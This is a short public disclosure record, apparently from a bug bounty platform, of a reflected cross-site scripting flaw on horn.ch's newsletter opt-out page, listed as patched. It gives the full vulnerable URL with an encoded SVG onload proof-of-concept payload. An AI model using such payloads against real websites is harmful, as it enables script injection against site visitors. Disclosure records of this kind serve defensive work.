horn.ch XSS vulnerability

Vulnerable URL: http://www.horn.ch/newsletter/forms/optOut.asp?e=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2996922 VIP website status:| No Check horn.ch SS...